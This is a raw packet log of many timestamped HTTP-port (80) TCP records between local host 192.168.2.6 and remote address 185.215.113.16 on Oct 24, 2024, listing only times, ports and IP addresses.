Oct 24, 2024 18:09:11.734220028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.734220028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.734220982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.735470057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735555887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735605955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735610008 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.735641003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735673904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735682011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.735707998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735713959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.735740900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735775948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735781908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.735809088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735851049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.735904932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.735944033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781014919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781037092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781053066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781070948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781126022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781142950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781158924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781161070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781174898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781189919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781223059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781240940 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781249046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781280994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781292915 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781296968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781315088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781330109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781490088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781531096 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781538010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781562090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781569958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781579971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781596899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.781615973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781640053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.781940937 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782103062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782115936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782130003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782145977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782160044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782160997 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.782176018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782187939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.782218933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.782505035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782601118 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.782650948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.821615934 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.821649075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.821665049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.821680069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.821702003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.821715117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.821749926 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.821793079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.853097916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.853118896 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.853142023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.853332996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.853461027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.853492975 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.853514910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.853516102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.853516102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.853537083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.853540897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.853560925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.853569984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.853569984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.853605986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.854823112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.854857922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.854896069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.854914904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.854945898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.854981899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.855003119 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.855010986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.855022907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.855055094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.855087996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.855107069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.855123043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.855132103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.855158091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.855170965 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.855192900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.855212927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.855241060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.899998903 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900033951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900087118 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900213957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900213957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900310040 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900384903 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900428057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900475979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900507927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900540113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900573015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900599957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900599957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900599957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900640965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900687933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900752068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900779963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900813103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900862932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900896072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900928974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.900958061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900958061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.900959015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.901221037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901272058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.901329994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901360035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901410103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901412010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.901443958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901462078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.901477098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901525021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.901690006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901724100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901738882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.901760101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.901783943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.901806116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.940844059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.940901995 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.940932989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.940990925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.941025972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.941060066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.941096067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.941096067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.941096067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.941927910 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.972594023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.972757101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.972791910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.972826004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.972858906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.972896099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.972946882 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.972954988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.972954988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.972954988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.972954988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.972954988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.972980022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.973062038 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.973062038 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974198103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974251032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974284887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974318981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974353075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974371910 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974373102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974373102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974373102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974385977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974448919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974448919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974477053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974509954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974543095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974575996 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974704027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974704981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974704981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974704981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974877119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974910975 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974930048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.974944115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:11.974961042 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:11.978061914 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.019186020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019368887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019372940 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.019402981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019469976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.019469976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.019567966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019597054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019629955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019663095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019695997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019750118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.019751072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.019751072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.019751072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.019823074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019931078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.019980907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020011902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020045042 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020092010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.020092010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.020092010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.020163059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020190954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020226002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020240068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.020318031 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020349979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020365000 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.020441055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020488024 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.020561934 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020593882 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020606041 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.020627975 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020662069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020673037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.020931005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020963907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.020978928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.021001101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.021039963 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.060185909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.060205936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.060230970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.060246944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.060261965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.060277939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.060276985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.060322046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.092947006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.092966080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.092987061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093009949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093019009 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093027115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093039036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093044043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093060017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093063116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093075991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093079090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093099117 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093115091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093274117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093297958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093312979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093333006 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093355894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093409061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093472004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093486071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093504906 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093528986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093682051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093697071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093713045 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093729973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.093734026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093751907 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093774080 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.093980074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.094089031 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.094124079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.094208002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.094222069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.094229937 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.094244957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.094254017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.094278097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.138509989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.138616085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.138653994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.138686895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.138730049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.138760090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.138793945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.138844967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.138878107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.138911963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.138928890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.138928890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.138962984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.139301062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139369011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139401913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139436007 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139471054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139506102 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139530897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.139530897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.139530897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.139538050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139571905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139600992 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.139789104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139841080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139842987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.139874935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139905930 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.139909983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.139959097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.140045881 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.140094995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.140141964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.140177011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.140197992 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.140219927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.140228033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.140261889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.140279055 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.140306950 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.179557085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.179728985 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.179754972 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.179779053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.179814100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.179826975 CEST	49994	80	192.168.2.6	185.215.113.16
